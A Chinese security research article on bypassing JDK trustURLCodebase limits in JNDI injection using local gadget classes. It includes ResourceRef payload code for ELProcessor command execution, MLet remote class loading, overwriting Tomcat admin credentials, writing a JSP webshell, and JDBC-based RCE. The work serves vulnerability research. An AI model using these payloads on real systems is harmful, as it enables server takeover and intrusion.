探索高版本 JDK 下 JNDI 漏洞的利用方法

admin 2022年1月19日01:53:12代码审计评论50 views8247字阅读27分29秒阅读模式

本文首发于跳跳糖社区,转载请注明原文链接。

https://tttang.com/archive/1405/

前言

高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。

所以修复后的JDK版本无法在不修改trustURLCodebase的情况下通过远程加载ObjectFactory类的方式去执行Java代码。

虽然无法再使用远程加载类,但绕过限制的方法也随之出现。目前公开常用的利用方法是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法或groovy.lang.GroovyShell#evaluate方法,还有通过LDAP的 javaSerializedData反序列化gadget,可以说这三种方法几乎涵盖了大部分的场景。关于这一部分内容《如何绕过高版本 JDK 的限制进行 JNDI 注入利用》[1]讲的挺详细的。


基于BeanFactory

我首先简要讲一下org.apache.naming.factory.BeanFactory的绕过原理。


EL和Groovy之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance 方法。

在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。

接着根据取到的 forceString 参数按照,逗号分割成多个要执行的方法。再按=等于号分割成 propName 和 param。

最后会根据 propName 作为方法名称去反射获取一个参数类型是 String.class的方法,并按照 param 从 Addrs 中取到的 String 对象作为参数去反射调用该方法。

而刚好javax.el.ELProcessor#eval和 groovy.lang.GroovyShell#evaluate这两个方法都是可以只传一个String参数就能够执行代码,且依赖库比较常见所以被经常使用。

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",        true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()")"));return ref;

依照上面的原理解释,这段代码得到的ResourceRef对象在JNDI客户端处理时,实际上等价于下面这段代码。

new javax.el.ELProcessor().eval(""".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()")")

我在找合适的利用类时是按照这个条件找的。

JDK或者常用库的类有public修饰的无参构造方法public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

MLet

根据这个条件我找到了javax.management.loading.MLet,是 JDK 自带的。

探索高版本 JDK 下 JNDI 漏洞的利用方法

MLet 继承自 URLClassloader,有一个无参构造方法,还有一个 addURL(String)方法,它的父类还有一个 loadClass(String)方法。

刚好满足条件。

MLet mLet = new MLet();mLet.addURL("http://127.0.0.1:2333/");mLet.loadClass("Exploit");

这样就相当于是通过 URLClassloader 去远程加载类了。

但这里有一个问题,要想执行远程类的代码必须经过初始化或者实例化,单靠 ClassLoader.loadClass 无法触发 static 代码块,所以这里暂时没法 RCE。

不过我经过研究发现还可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。反之如果第一次类加载失败就会抛出异常结束后面的流程,也就不会访问远程类。

探索高版本 JDK 下 JNDI 漏洞的利用方法

GroovyClassLoader

和 MLet 基本原理一样,不同于MLet的是GroovyClassLoader可以RCE,不过因为 Groovy 已经有一个 groovy.lang.GroovyShell可以用了,所以这个类并不能体现出价值。

探索高版本 JDK 下 JNDI 漏洞的利用方法

SnakeYaml

在我以往所看过的源码中依赖库使用SnakeYaml比Groovy更常见,new org.yaml.snakeyaml.Yaml().load(String)也刚好符合条件,所以还是很有价值的。

探索高版本 JDK 下 JNDI 漏洞的利用方法

XStream

new com.thoughtworks.xstream.XStream().fromXML(String)同样符合条件。

探索高版本 JDK 下 JNDI 漏洞的利用方法

MVEL

xstream、snakeyaml 这种属于入口就符合gadget条件,而MVEL的入口org.mvel2.MVEL#eval(String)因为无参构造方法是private修饰的,所以不符合条件。

不过最终我还是找到了可以用的类。

探索高版本 JDK 下 JNDI 漏洞的利用方法

"help" -> {[email protected]} "exit" -> {[email protected]} "cd" -> {[email protected]} "set" -> {[email protected]} "showvars" -> {[email protected]} "ls" -> {[email protected]} "inspect" -> {[email protected]} "pwd" -> {[email protected]} "push" -> {[email protected]}

org.mvel2.sh.ShellSession#exec(String)进入会按照内置的几个命令进行处理。

我把内置的几个命令类都看了一遍,其中发现org.mvel2.sh.command.basic.PushContext有调用MVEL.eval去解析表达式。

探索高版本 JDK 下 JNDI 漏洞的利用方法

那也就说明我能够通过 ShellSession.exec(String) 去执行push命令,从而解析MVEL表达式。

探索高版本 JDK 下 JNDI 漏洞的利用方法

NativeLibLoader

com.sun.glass.utils.NativeLibLoader是JDK的类,它有一个loadLibrary(String)方法。

探索高版本 JDK 下 JNDI 漏洞的利用方法

它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader来加载并执行命令。

探索高版本 JDK 下 JNDI 漏洞的利用方法

XXE & RCE

我通过搜索所有实现javax.naming.spi.ObjectFactory接口的类,然后挨个查看代码,其中发现了一个Tomcat的工厂类org.apache.catalina.users.MemoryUserDatabaseFactory可能会存在漏洞。

探索高版本 JDK 下 JNDI 漏洞的利用方法

这里会先实例化一个MemoryUserDatabase对象然后从 Reference 中取出 pathname、readonly 这两个最主要的参数并调用 setter 方法赋值。

赋值完成会先调用open()方法,如果readonly=false那就会调用save()方法。

首先来看open()方法

探索高版本 JDK 下 JNDI 漏洞的利用方法

XXE

这里会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容。那这里就可以 XXE。

探索高版本 JDK 下 JNDI 漏洞的利用方法

RCE

前面在解析XML的时候有这样一段代码

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

这里分别根据xml解析结果给 MemoryUserDatabase#groups,MemoryUserDatabase#users,MemoryUserDatabase#roles填充数据。

以 users 为例。

探索高版本 JDK 下 JNDI 漏洞的利用方法

首先从org.apache.catalina.users.MemoryUserCreationFactory#createObject中取出了 username,password 元素。

探索高版本 JDK 下 JNDI 漏洞的利用方法

然后调用org.apache.catalina.users.MemoryUserDatabase#createUser这时 MemoryUser 对象被添加到了 users 对象里,这样 users 就不是空的了。这里不能为空的原因是后面写文件内容时是从,users、groups、roles里取的。

接着看save()方法。

探索高版本 JDK 下 JNDI 漏洞的利用方法

进入 save()方法的主逻辑代码需要先经过 isWriteable()==true 的判断。

探索高版本 JDK 下 JNDI 漏洞的利用方法

这里出现了第一个问题,由于需要控制文件写入内容,所以必须要让 pathname 是一个远程URL,如果是远程URL的话这里把catalina.base+pathname 组成文件名去实例化了一个 File 对象,所以这个目录必然不存在、不是目录、不可写,也就无法通过判断。

那如果用目录跳转呢?假如 CATALINA.BASE=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml

他们组成的文件路径就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

getParentFile 获取到的是 /usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/

在 Windows 下这样没问题,但如果是Linux系统的话,目录跳转符号前面的目录是必须存在的。

所以要解决Linux系统下的问题,必须要让 CATALINA.BASE文件夹下有/http:/REMOTE_IP/ 这个目录的存在,这就需要用到BeanFactory来执行一个可以创建目录的利用类。

我随便找了一个org.h2.store.fs.FileUtils#createDirectory(String),创建目录的gadget花点时间应该能找到很多更通用的。

探索高版本 JDK 下 JNDI 漏洞的利用方法

因为要在 CATALINA.BASE创建目录,所以需要从工作目录CATALINA.BASE/bin 向上跳一级,分别执行 tomcatMkdirFrist 和 tomcatMkdirLast ,这样 CATALINA.BASE目录下就会创建出一个 http:目录和它的子目录127.0.0.1:8888

探索高版本 JDK 下 JNDI 漏洞的利用方法

当这两个目录被创建成功后,Linux环境下 isWriteable() 的校验也就通过了。

探索高版本 JDK 下 JNDI 漏洞的利用方法

前面这部分会先把事先在 open() 方法就解析好的 users、groups、roles都写入到 pathnameNew 这个文件里。

如果pathname是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

那pathnameNew就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml.new

探索高版本 JDK 下 JNDI 漏洞的利用方法

最后会把 pathnameNew 这个文件移动到 pathname。

写文件的原理摸清楚了就可以开始准备RCE,RCE的方法有两种,分别是覆盖 tomcat-users.xml 和写 webshell 。

创建Tomcat管理员

我首先在本地启动了一个8888端口,并存放了一个 conf/tomcat-users.xml 文件。

访问http://127.0.0.1:8888/conf/tomcat-users.xml效果如下

探索高版本 JDK 下 JNDI 漏洞的利用方法

private static ResourceRef tomcatManagerAdd() {    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));    ref.add(new StringRefAddr("readonly", "false"));    return ref;}

然后只需要让JNDI返回这个ResourceRef对象,它就会先去访问 http://127.0.0.1:8888/../../conf/tomcat-users.xml然后把它覆盖到 CATALINA.BASE/conf/tomcat-users.xml

探索高版本 JDK 下 JNDI 漏洞的利用方法

探索高版本 JDK 下 JNDI 漏洞的利用方法

文件覆盖后,就可以用新账号密码去登录 Tomcat 后台了。

写 Webshell

如果 Tomcat 后台访问不了,还可以尝试写 webshell。

首先启动一个8888端口,让访问http://127.0.0.1:8888/webapps/ROOT/test.jsp能返回这样一段XML。

<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml"              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"              version="1.0">  <role rolename="<%Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); %>"/></tomcat-users>

再让 JNDI 返回这个 ResourceRef 对象就可以把 test.jsp 写入到 web 目录。

private static ResourceRef tomcatWriteFile() {    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",            true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));    ref.add(new StringRefAddr("readonly", "false"));    return ref;}

探索高版本 JDK 下 JNDI 漏洞的利用方法

JDBC RCE

ObjectFactory 的实现类里有好几个类都是用来实例化数据源的,如果能够触发数据库连接,那就可以用 jdbc 来 RCE。参考《Make JDBC Attacks Brilliant Again》[2]根据classpath下有哪些可用的jdbc驱动构造出对应的 payload。

dbcp

dbcp分为dbcp1和dbcp2,同时又分为 commons-dbcp 和 Tomcat 自带的 dbcp。

org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactoryorg.apache.tomcat.dbcp.dbcp.BasicDataSourceFactoryorg.apache.commons.dbcp2.BasicDataSourceFactoryorg.apache.commons.dbcp.BasicDataSourceFactory

探索高版本 JDK 下 JNDI 漏洞的利用方法

进入 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource方法最后一段代码写了当 InitialSize > 0 的时候会调用 getLogWriter 方法

public PrintWriter getLogWriter() throws SQLException {    return this.createDataSource().getLogWriter();}

getLogWriter 会先调用 createDataSource() 也就是创建数据库连接。

四种不同版本的 dbcp 要用不同的工厂类

如果遇到使用的不是 Tomcat 或没有 dbcp 时就可以尝试换成 commons-dbcp。

探索高版本 JDK 下 JNDI 漏洞的利用方法

tomcat-jdbc

如果遇到 dbcp 使用不了时,可以使用 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory

探索高版本 JDK 下 JNDI 漏洞的利用方法

druid

druid可以参考《JNDI jdk高版本绕过—— Druid》[3],和dbcp原理一样。

探索高版本 JDK 下 JNDI 漏洞的利用方法

References

[1] 《如何绕过高版本 JDK 的限制进行 JNDI 注入利用》: https://paper.seebug.org/942/
[2] 《Make JDBC Attacks Brilliant Again》: https://conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
[3] 《JNDI jdk高版本绕过—— Druid》: https://xz.aliyun.com/t/10656

原文始发于微信公众号(安全档案):探索高版本 JDK 下 JNDI 漏洞的利用方法

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月19日01:53:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  探索高版本 JDK 下 JNDI 漏洞的利用方法 http://cn-sec.com/archives/743436.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: